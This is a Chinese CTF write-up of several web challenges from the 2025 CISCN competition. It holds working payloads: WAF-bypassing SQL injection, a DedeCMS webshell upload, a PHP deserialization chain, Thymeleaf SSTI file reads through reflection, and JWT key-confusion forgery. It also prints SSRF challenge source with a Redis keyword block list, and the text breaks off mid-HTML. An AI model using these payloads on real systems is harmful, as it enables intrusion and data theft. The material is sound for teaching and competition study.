0%

2025第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届 “长城杯”网数智安全大赛(防护赛)初赛|WEB

前言:

这次的ciscn打了1383分,总榜排名77。这次也是打web打爽了,爽出了6题web,感觉难度都还可以就是几题难度比较大,基本上的难度都是中等偏上并且感觉越来越偏向于实战环境了(这次甚至把cve-2025-55182上上来了)。

夸完接下来我要开始吐槽了,这比赛说真的打的像是在打pycc一样,我费劲的做完一题web结果回头一看已经100多解了就剩50分了。感觉这web的难度也没到谁都能秒的地步吧?

下面的wp只有我自己做的6题web和一题ai以及复现了一下web当时找到利用点但是没打出来的hjppx,跟江警的师傅要了个wp(感谢Alexander师傅)有hjppx的源码尝试写个dockerfile自己搭建一个环境复现一下(赛后也是复现了一晚上的环境(T_T)),剩下队友做的题就不放上来了,如果有需要的师傅可以私信我发wp

WEB

AI_WAF

描述:小路想获取NexaData公司储存的秘密,但是该公司的网站使用了AI的WAF进行防护,小路看到WAF后一脸懵逼,所以来找你求救,你能帮助她吗?(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/

考点:sql版本特性/*!50000*/绕过安全狗

进入后有个搜索框,感觉像是sql注入

用dirsearch扫描出一个sql的告警接口

但是测试sql注入的时候发现禁用了一堆关键词,and,or,select,sleep等都被禁用了,最麻烦的就是这个select

这里用sql的版本特性/*!50000*/来进行绕过

先判断出列数为3

1
{"query":"1' /*!50000ORDER*/ /*!50000BY*/ 3#"}

然后爆库nexadata

1
{"query":"1' /*!50000UNION*/ /*!50000SELECT*/ 1, database(), 3#"}

爆表where_is_my_flagggggg

这里爆列的时候碰到了点问题用where_is_my_flagggggg会被警告,所以这里where我直接一样用nexadata

得到列名Th15_ls_f149

1
{"query":"1' /*!50000UNION*/ /*!50000SELECT*/ 1, column_name, 3/*!50000FROM*/ information_schema.columns WHERE table_schema='nexadata'#"}

最后就是得到flag了

1
{"query":"1' /*!50000UNION*/ /*!50000SELECT*/ 1, Th15_ls_f149, 3/*!50000FROM*/ where_is_my_flagggggg#"}

dedecms

描述:无

考点:弱口令登录、后台略缩图文件上传、php7绕过后缀限制

进入后先随便注册个号

发现还有一个Aa123456789用户,尝试弱口令Aa123456789/Aa123456789登录,但是在前台登录的时候发现禁止管理用户登录

在主页发现是织梦CMS

访问/dede可以进入管理后台登录界面

用上面的弱口令登录进入后台,本来以为是打cve的,但是网上找了几个poc都失败了

用dirsearch扫描一下,发现有个include目录和uploads目录,那么很有可能是要打文件上传

在后台可以发布文章,并且在略缩图处有一个文件上传,但是只能上传图片

点击站内选择,随便选择一个目录先传入一个jpg文件

进行抓包找到接口/include/dialog/select_images_post.php

改文件后缀为php7,就可以成功上传。

蚁剑连接得到根目录下面的flag文件

hellogate

描述:无

考点:php反序列化、文件包含

进入后就只有一张图片啥也没有,用dirsearch也扫不出什么

用bp抓包favicon.ico删除,发现php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

分析代码得到思路

1
2
3
4
5
6
7
调用 A::triggerMethod()

echo 对象 → __toString()

访问不存在属性 → __get()

file_get_contents(可控路径)

尝试构造payload打文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class A {
public $handle;
}

class B {
public $worker;
public $cmd;
}

class C {
public $cmd;
}

// 构造利用链
$c = new C();
$c->cmd = "/etc/passwd";

$b = new B();
$b->worker = $c;

$a = new A();
$a->handle = $b;

echo urlencode(serialize($a));
?>

// O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22worker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7Ds%3A3%3A%22cmd%22%3BN%3B%7D%7D

得到flag

redjs

描述:小明在服务器上部署了一个常用的框架,请你帮忙看看是否有问题。

考点:cve-2025-55182

看到next.js瞬间就秒了,第一直觉就是最近很火的cve-2025-55182

之前测试的时候还自己写了一个exp(暂不提供,需要私信我exp)

EzJava

描述:公告管理系统近期开发测试,为保证测试环境安全,已把常用系统命令全部清除,请尝试读取根目录的敏感文件。(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/

考点:弱口令爆破、java的Thymeleaf类型的SSTI、

进入后有个登录界面,发现存在admin用户

用bp抓包进行弱口令爆破,得到用户密码:admin/admin123

进入有个公告预览,格式很像是Thymeleaf SSTI

${7*7}进行测试发现存在漏洞

尝试最基础的payload,发现模板解析错误T() 关键字被禁用了,并且flag被过滤了

1
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'))}

尝试寻找 Spring 容器中的 Bean 来绕过 T 限制,但是发现@被禁用了

后面发现Thymeleaf 所有的表达式都在一个上下文(Context)中运行。内置对象 #ctx 永远存在。那么我们就可以通过 #ctx.getClass().getClassLoader() 拿到类加载器。有了类加载器就可以通过字符串反射加载任何类。

尝试读取环境变量,发现成功了思路是对的

1
[[${#ctx.getClass().getClassLoader().loadClass('java.lang.System').getMethod('getenv').invoke(null).toString()}]]

接着就是两个方向,命令执行和文件读取,但是命令执行(exec)返回的是 Process 对象,需要复杂的流处理才能看到回显,容易报错,所以这里优先采取文件读取的方式。java.nio.file.Files 类的 readAllLines 方法可以一行代码将文件内容转为 List

1
[[${#ctx.getClass().getClassLoader().loadClass('java.nio.file.Files')}]]

得到操作文件的工具类后,接着就需要获取readAllLines 的方法句柄

原始payload:

1
[[${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths))}]]

绕过:

1
[[${#ctx.getClass().getClassLoader().loadClass('java.nio.file.Files').getMethod('readAllLines', #ctx.getClass().getClassLoader().loadClass('java.nio.file.Path'))}]]

尝试读取/etc/passwd

原始payload:

1
[[${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}]]

绕过:

1
[[${#ctx.getClass().getClassLoader().loadClass('java.nio.file.Files').getMethod('readAllLines', #ctx.getClass().getClassLoader().loadClass('java.nio.file.Path')).invoke(null, #ctx.getClass().getClassLoader().loadClass('java.nio.file.FileSystems').getMethod('getDefault').invoke(null).getPath('/etc/passwd'))}]]

接下来读取flag文件

但是现在不知道flag文件是什么,所以可以将 listRoots() 得到的结果传递给 list() 方法

原始payload:

1
[[${T(java.io.File).listRoots()[0].list()}]]

绕过

1
[[${#ctx.getClass().getClassLoader().loadClass('java.io.File').getMethod('listRoots').invoke(null)[0].list()}]]

发现数组显示有问题并没有得到根目录的文件,那么换种思路采用逐个文件读取,最后在第19个文件发现flag文件

1
[[${#ctx.getClass().getClassLoader().loadClass('java.io.File').getMethod('listRoots').invoke(null)[0].list()[19]}]]

构造payload:

1
[[${#ctx.getClass().getClassLoader().loadClass('java.nio.file.Files').getMethod('readAllLines', #ctx.getClass().getClassLoader().loadClass('java.nio.file.Path')).invoke(null, #ctx.getClass().getClassLoader().loadClass('java.nio.file.FileSystems').getMethod('getDefault').invoke(null).getPath('/flag_y0u_d0nt_kn0w'))}]]

但是发现flag文件没法读取并且通过上面也知道flag被过滤了

那么我们把flag文件用拼接的形式构造即可

最终payload:

1
[[${#ctx.getClass().getClassLoader().loadClass('java.nio.file.Files').getMethod('readAllLines',#ctx.getClass().getClassLoader().loadClass('java.nio.file.Path')).invoke(null,#ctx.getClass().getClassLoader().loadClass('java.nio.file.FileSystems').getMethod('getDefault').invoke(null).getPath('/'+('fl'+'ag_y0u_d0nt_kn0w'))).toString()}]]

Deprecated

描述:无

考点:jwt爆破公钥伪造admin用户、文件读取限制绕过

分析源码可以猜测是要通过jwt伪造admin用户,进行文件读取

先随便注册两个用户得到cookie值

使用rsa_sign2n爆破密钥,工具地址:https://github.com/nu11secur1ty/rsa_sign2n/tree/main(用docker启环境)

1
python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRHMXUiLCJwcml2aWxlZGdlIjoiVGVtcCBVc2VyIiwiaWF0IjoxNzY2OTA1ODkxfQ.Fr3Oly07OleMru4f5eUHBOE_FFW-QDhsJsremwxWyRYBe8v83IS4GgabduShD63NMibKyVJMH4pAl_YTQPNvWm1yC3saQ6t0NPq6rnR99BmuApyfCrPWI-U8FZs_c-9g6LXIUU7SFFvCYPR1VvxdNbcq4qzYEihRqzkvAxWsYBU eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMSIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY5MDY3NTV9.I24VjYtl1OAHs1AOhUk6E4xzBzdzinSFKo17QJf7UrdiiHqF2CeurNssKqzSQCwBhEqZTnHYhwhqcBxjCngSVMSBD_pbvNtqiaWA7ECa4w5eEO60a1KDtg1pofk78TS3j4qmwQuDYcT2tlmKUQHdXoZezws8YVzrK_W7zuw_SPc

将公钥文件x509.pem下载到本地服务器

1
docker cp 79c2215475fb:/app/ab7c880982afa34c_65537_x509.pem .

根据代码既需要admin用户并且还要有文件读取的权限

写js代码开始伪造(每次生成的cookie都不一样但是效果是一样的)

1
2
3
4
5
6
7
8
const jwt = require('jsonwebtoken');
const fs = require('fs');

const publicKey = fs.readFileSync('./ab7c880982afa34c_65537_x509.pem', 'utf8');

data = {"username": "admin", "priviledge": "File-Priviledged-User"}

console.log(jwt.sign(data, publicKey, { algorithm: 'HS256' }));

访问/checkfile进行文件读取,但是设置了一些限制

文件要以.log结尾,如果文件名是 flag.log.phpindexOf('.') 会找到 flag 之后的点。slice 之后得到的是 log.php,导致检查失败。

限制目录穿越

文件名截断

双重响应,fs.readFile 已经读取了文件内容,但随后又调用了 res.sendFile 重新读取一遍

要绕过这些限制,可以传递数组然后完成绕过,只要第十个参数是读取的文件后面的内容会被截断,从而绕过限制

hjppx

描述:小明在服务器上下载了一堆奇怪的东西,请帮忙排查一下该功能是否存在问题?

考点:ssrf、rce主从复制

这里进入后发现可以打ssrf请求到本地127.0.0.1

尝试文件包含/etc/passwd,发现可行,尝试读取源码

但是当时我这里读取到的源码是不全的,看了江警他们的wp我才发现在Advanced Protocol Tools可以获取到完整的源码(给我难受坏了,还以为题目环境有问题。。。)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
<?php
error_reporting(0);
session_start();

// 初始化用户会话
if (!isset($_SESSION['user'])) {
$_SESSION['user'] = array(
'username' => 'admin',
'role' => 'System Administrator',
'login_time' => date('Y-m-d H:i:s')
);
}

if (!isset($_SESSION['stats'])) {
$_SESSION['stats'] = array(
'total_requests' => 0,
'successful_requests' => 0,
'failed_requests' => 0
);
}

if (!isset($_SESSION['history'])) {
$_SESSION['history'] = array();
}

class Handler {
private $timeout = 30;

public function fetch($url) {
if (empty($url)) {
return array('success' => false, 'error' => 'Invalid');
}
if (strlen($url) > 4500) {
return array('success' => false, 'error' => 'Too long');
}

// 处理 gopher 协议的特殊情况
if (preg_match('#^gopher://([^:]+):(\d+)/_(.*)$#i', $url, $matches)) {
$host = $matches[1];
$port = $matches[2];
$payload = $matches[3];
// URL 解码 payload
$payload = urldecode($payload);
if (preg_match("/MODULE|\.so|SLAVEOF|dbfilename/im", $payload)) {
exit(0);
}
return $this->gopherFetch($host, $port, $payload);
}

if (!preg_match('#^[a-z]+://#i', $url)) {
$url = 'http://' . $url;
}

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 8);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);

$response = curl_exec($ch);
$error = curl_error($ch);
$info = curl_getinfo($ch);
curl_close($ch);

if ($error) {
return array('success' => false, 'error' => $error);
}
if ($response === false) {
return array('success' => false, 'error' => 'Failed');
}

$content_type = isset($info['content_type']) ? $info['content_type'] : 'text/plain';
$encoded_content = base64_encode($response);

return array(
'success' => true,
'content' => $encoded_content,
'is_binary' => true,
'type' => $content_type,
'size' => strlen($response),
'code' => $info['http_code'],
'url' => $url,
'time' => round($info['total_time'], 3)
);
}

private function gopherFetch($host, $port, $payload) {
$startTime = microtime(true);
$socket = @fsockopen($host, $port, $errno, $errstr, 5);
if (!$socket) {
return array('success' => false, 'error' => 'Socket error: ' . $errstr);
}
stream_set_timeout($socket, 2);
fwrite($socket, $payload);
fflush($socket);

$response = '';
$maxAttempts = 50;
$attempts = 0;

while ($attempts < $maxAttempts) {
$chunk = fread($socket, 4096);
if ($chunk === false || $chunk === '') {
$info = stream_get_meta_data($socket);
if ($info['timed_out']) {
break;
}
$attempts++;
usleep(20000);
continue;
}
$response .= $chunk;
$attempts = 0;

if (preg_match('/^\+[^\r\n]*\r\n$/', $response)) break;
if (preg_match('/^-[^\r\n]*\r\n$/', $response)) break;
if (preg_match('/^:[^\r\n]*\r\n$/', $response)) break;

if (preg_match('/^\$(-?\d+)\r\n/s', $response, $matches)) {
$len = intval($matches[1]);
if ($len === -1) {
if (strlen($response) >= 5) break;
} else {
$expectedLen = strlen('$' . $len . "\r\n") + $len + 2;
if (strlen($response) >= $expectedLen) break;
}
}
}

fclose($socket);
$elapsed = microtime(true) - $startTime;

if (empty($response)) {
return array('success' => false, 'error' => 'No response');
}

$encoded_content = base64_encode($response);
return array(
'success' => true,
'content' => $encoded_content,
'is_binary' => true,
'type' => 'application/octet-stream',
'size' => strlen($response),
'code' => 200,
'url' => 'gopher://' . $host . ':' . $port,
'time' => round($elapsed, 3),
'raw' => $response
);
}

public function redisSet($url, $key, $data) {
if (empty($url) || empty($key)) {
return array('success' => false, 'error' => 'Invalid params');
}
if (preg_match('#^gopher://([^:]+):(\d+)#i', $url, $matches)) {
$host = $matches[1];
$port = $matches[2];
$resp = "*3\r\n";
$resp .= "\$3\r\nSET\r\n";
$resp .= "\$" . strlen($key) . "\r\n" . $key . "\r\n";
$resp .= "\$" . strlen($data) . "\r\n" . $data . "\r\n";

$result = $this->gopherFetch($host, $port, $resp);
if ($result['success']) {
$raw_response = @base64_decode($result['content']);
if (strpos($raw_response, '+OK') !== false) {
return array(
'success' => true,
'message' => 'SET command executed successfully',
'key' => $key,
'data_size' => strlen($data),
'response' => $result['content'],
'time' => $result['time']
);
}
}
return $result;
}
return array('success' => false, 'error' => 'Invalid URL format');
}

public function preview($url) {
$result = $this->fetch($url);
if (!$result['success']) {
return $result;
}
$content = base64_decode($result['content']);
$type = $result['type'];

if (strpos($type, 'image') !== false) {
return array(
'success' => true,
'type' => 'image',
'data' => $result['content'],
'mime' => $type
);
} elseif (strpos($type, 'html') !== false || strpos($type, 'text') !== false) {
$preview = substr($content, 0, 500);
return array(
'success' => true,
'type' => 'text',
'preview' => htmlspecialchars($preview),
'length' => strlen($content)
);
} else {
return array(
'success' => true,
'type' => 'other',
'size' => strlen($content),
'mime' => $type,
'data' => $result['content']
);
}
}
}

function handle($action, $params) {
$h = new Handler();
$_SESSION['stats']['total_requests']++;

switch ($action) {
case 'preview':
$url = isset($params['url']) ? $params['url'] : '';
$result = $h->preview($url);
break;
case 'fetch':
$url = isset($params['url']) ? $params['url'] : '';
if (isset($params['key']) && isset($params['data'])) {
$key = $params['key'];
$data = base64_decode($params['data']);
$result = $h->redisSet($url, $key, $data);
} else {
$result = $h->fetch($url);
}
break;
case 'stats':
$result = array('success' => true, 'stats' => $_SESSION['stats']);
break;
case 'history':
$result = array('success' => true, 'history' => array_reverse($_SESSION['history']));
break;
case 'clear_history':
$_SESSION['history'] = array();
$result = array('success' => true, 'message' => 'History cleared');
break;
default:
$result = array('success' => false, 'error' => 'Unknown');
}

if ($result['success']) {
$_SESSION['stats']['successful_requests']++;
} else {
$_SESSION['stats']['failed_requests']++;
}

if (isset($params['url']) && !in_array($action, ['stats', 'history'])) {
array_push($_SESSION['history'], array(
'url' => $params['url'],
'time' => date('Y-m-d H:i:s'),
'status' => $result['success'] ? 'Success' : 'Failed'
));
if (count($_SESSION['history']) > 50) {
array_shift($_SESSION['history']);
}
}
return $result;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header('Content-Type: application/json');
$action = isset($_POST['action']) ? $_POST['action'] : '';
exit(json_encode(handle($action, $_POST)));
}

if (isset($_GET['action'])) {
header('Content-Type: application/json');
$action = isset($_GET['action']) ? $_GET['action'] : '';
exit(json_encode(handle($action, $_GET)));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Resource Fetch Management System</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif; background: #f5f7fa; color: #333; }
.navbar { background: linear-gradient(135deg, #2c3e50 0%, #34495e 100%); color: white; padding: 0; box-shadow: 0 2px 10px rgba(0,0,0,0.1); position: sticky; top: 0; z-index: 1000; }
.navbar-content { max-width: 1400px; margin: 0 auto; display: flex; justify-content: space-between; align-items: center; padding: 15px 30px; }
.navbar-brand { font-size: 20px; font-weight: 600; display: flex; align-items: center; gap: 10px; }
.logo { width: 32px; height: 32px; background: white; border-radius: 6px; display: flex; align-items: center; justify-content: center; font-weight: bold; color: #2c3e50; }
.navbar-user { display: flex; align-items: center; gap: 15px; font-size: 14px; }
.user-badge { background: rgba(255,255,255,0.2); padding: 6px 12px; border-radius: 4px; }
.container { max-width: 1400px; margin: 30px auto; padding: 0 30px; }
.main-grid { display: grid; grid-template-columns: 250px 1fr; gap: 30px; margin-top: 30px; }
.sidebar { background: white; border-radius: 8px; padding: 20px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); height: fit-content; position: sticky; top: 90px; }
.sidebar-title { font-size: 12px; text-transform: uppercase; color: #999; font-weight: 600; margin-bottom: 15px; letter-spacing: 0.5px; }
.nav-item { padding: 12px 15px; margin-bottom: 5px; border-radius: 6px; cursor: pointer; transition: all 0.3s; display: flex; align-items: center; gap: 10px; color: #555; }
.nav-item:hover { background: #f5f7fa; color: #2c3e50; }
.nav-item.active { background: #2c3e50; color: white; }
.nav-icon { width: 18px; height: 18px; display: inline-block; }
.dashboard-cards { display: grid; grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); gap: 20px; margin-bottom: 30px; }
.card { background: white; border-radius: 8px; padding: 25px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); transition: transform 0.3s, box-shadow 0.3s; }
.card:hover { transform: translateY(-2px); box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
.card-title { font-size: 13px; color: #999; text-transform: uppercase; margin-bottom: 10px; font-weight: 600; letter-spacing: 0.5px; }
.card-value { font-size: 32px; font-weight: 700; color: #2c3e50; }
.card-subtitle { font-size: 12px; color: #999; margin-top: 5px; }
.content-section { display: none; }
.content-section.active { display: block; }
.panel { background: white; border-radius: 8px; padding: 30px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); margin-bottom: 20px; }
.panel-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 25px; padding-bottom: 15px; border-bottom: 2px solid #f5f7fa; }
.panel-title { font-size: 20px; font-weight: 600; color: #2c3e50; }
.form-group { margin-bottom: 20px; }
.form-label { display: block; margin-bottom: 8px; font-weight: 500; color: #555; font-size: 14px; }
.form-input { width: 100%; padding: 12px 15px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px; font-family: 'Monaco', 'Courier New', monospace; transition: border-color 0.3s; }
.form-input:focus { outline: none; border-color: #2c3e50; }
.button-group { display: flex; gap: 10px; margin-top: 20px; }
.btn { padding: 12px 24px; border: none; border-radius: 6px; font-weight: 500; cursor: pointer; transition: all 0.3s; font-size: 14px; }
.btn-primary { background: #2c3e50; color: white; }
.btn-primary:hover { background: #1a252f; }
.btn-secondary { background: #95a5a6; color: white; }
.btn-secondary:hover { background: #7f8c8d; }
.btn-danger { background: #e74c3c; color: white; }
.btn-danger:hover { background: #c0392b; }
.result-panel { background: #f8f9fa; border: 1px solid #e0e0e0; border-radius: 6px; padding: 20px; margin-top: 20px; display: none; max-height: 500px; overflow-y: auto; }
.result-panel.show { display: block; }
.result-panel.success { background: #d4edda; border-color: #c3e6cb; }
.result-panel.error { background: #f8d7da; border-color: #f5c6cb; }
.result-header { font-weight: 600; margin-bottom: 10px; color: #2c3e50; }
.result-content { font-family: 'Monaco', 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; word-break: break-all; line-height: 1.6; }
.table { width: 100%; border-collapse: collapse; margin-top: 15px; }
.table th { background: #f8f9fa; padding: 12px; text-align: left; font-weight: 600; font-size: 13px; color: #555; border-bottom: 2px solid #e0e0e0; }
.table td { padding: 12px; border-bottom: 1px solid #f0f0f0; font-size: 13px; }
.table tr:hover { background: #f8f9fa; }
.badge { display: inline-block; padding: 4px 8px; border-radius: 4px; font-size: 11px; font-weight: 600; }
.badge-success { background: #d4edda; color: #155724; }
.badge-danger { background: #f8d7da; color: #721c24; }
.info-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px; margin-top: 15px; }
.info-item { padding: 15px; background: #f8f9fa; border-radius: 6px; }
.info-label { font-size: 12px; color: #999; margin-bottom: 5px; }
.info-value { font-size: 14px; font-weight: 500; color: #2c3e50; font-family: 'Monaco', 'Courier New', monospace; }
.empty-state { text-align: center; padding: 60px 20px; color: #999; }
.empty-state-icon { font-size: 48px; margin-bottom: 15px; opacity: 0.3; }
.protocol-badges { display: flex; gap: 8px; margin-top: 15px; flex-wrap: wrap; }
.protocol-badge { padding: 8px 12px; background: #e8f4f8; color: #2c3e50; border-radius: 4px; font-size: 12px; font-weight: 500; }
.tabs { display: flex; gap: 5px; margin-bottom: 20px; border-bottom: 2px solid #f0f0f0; }
.tab-btn { padding: 12px 20px; background: none; border: none; border-bottom: 2px solid transparent; cursor: pointer; font-weight: 500; color: #777; transition: all 0.3s; margin-bottom: -2px; }
.tab-btn:hover { color: #2c3e50; }
.tab-btn.active { color: #2c3e50; border-bottom-color: #2c3e50; }
</style>
</head>
<body>
<div class="navbar">
<div class="navbar-content">
<div class="navbar-brand">
<div class="logo">RF</div>
<span>Resource Fetch Management</span>
</div>
<div class="navbar-user">
<span><?php echo htmlspecialchars($_SESSION['user']['username']); ?></span>
<div class="user-badge"><?php echo htmlspecialchars($_SESSION['user']['role']); ?></div>
</div>
</div>
</div>

<div class="container">
<div class="dashboard-cards">
<div class="card">
<div class="card-title">Total Requests</div>
<div class="card-value" id="totalRequests"><?php echo $_SESSION['stats']['total_requests']; ?></div>
<div class="card-subtitle">All time</div>
</div>
<div class="card">
<div class="card-title">Successful</div>
<div class="card-value" id="successRequests" style="color: #27ae60;"><?php echo $_SESSION['stats']['successful_requests']; ?></div>
<div class="card-subtitle">Completed successfully</div>
</div>
<div class="card">
<div class="card-title">Failed</div>
<div class="card-value" id="failedRequests" style="color: #e74c3c;"><?php echo $_SESSION['stats']['failed_requests']; ?></div>
<div class="card-subtitle">Request errors</div>
</div>
<div class="card">
<div class="card-title">Success Rate</div>
<div class="card-value" id="successRate">
<?php
$total = $_SESSION['stats']['total_requests'];
$rate = $total > 0 ? round(($_SESSION['stats']['successful_requests'] / $total) * 100) : 0;
echo $rate . '%';
?>
</div>
<div class="card-subtitle">Performance metric</div>
</div>
</div>

<div class="main-grid">
<div class="sidebar">
<div class="sidebar-title">Navigation</div>
<div class="nav-item active" data-section="fetch">
<svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path d="M8 4a4 4 0 100 8 4 4 0 000-8zM2 8a6 6 0 1110.89 3.476l4.817 4.817a1 1 0 01-1.414 1.414l-4.816-4.816A6 6 0 012 8z"/></svg>
Fetch Resource
</div>
<div class="nav-item" data-section="advanced">
<svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path d="M5 3a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2V5a2 2 0 00-2-2H5zM5 11a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2H5zM11 5a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2V5zM11 13a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2v-2z"/></svg>
Advanced Tools
</div>
<div class="nav-item" data-section="history">
<svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zm1-12a1 1 0 10-2 0v4a1 1 0 00.293.707l2.828 2.829a1 1 0 101.415-1.415L11 9.586V6z"/></svg>
Request History
</div>
<div class="nav-item" data-section="settings">
<svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z"/></svg>
System Info
</div>
</div>

<div class="main-content">
<div class="content-section active" id="fetch-section">
<div class="panel">
<div class="panel-header"><div class="panel-title">Resource Fetcher</div></div>
<div class="tabs">
<button class="tab-btn active" data-tab="quick">Quick Fetch</button>
<button class="tab-btn" data-tab="preview">Preview Mode</button>
</div>
<div id="quick-tab" class="tab-content" style="display: block;">
<div class="form-group">
<label class="form-label">Resource URL</label>
<input type="text" class="form-input" id="fetchUrl" placeholder="http://example.com/resource">
</div>
<div class="button-group">
<button class="btn btn-primary" onclick="doFetch()">Execute Fetch</button>
<button class="btn btn-secondary" onclick="clearResult('fetch')">Clear</button>
</div>
<div id="fetchResult" class="result-panel"></div>
</div>
<div id="preview-tab" class="tab-content" style="display: none;">
<div class="form-group">
<label class="form-label">Resource URL</label>
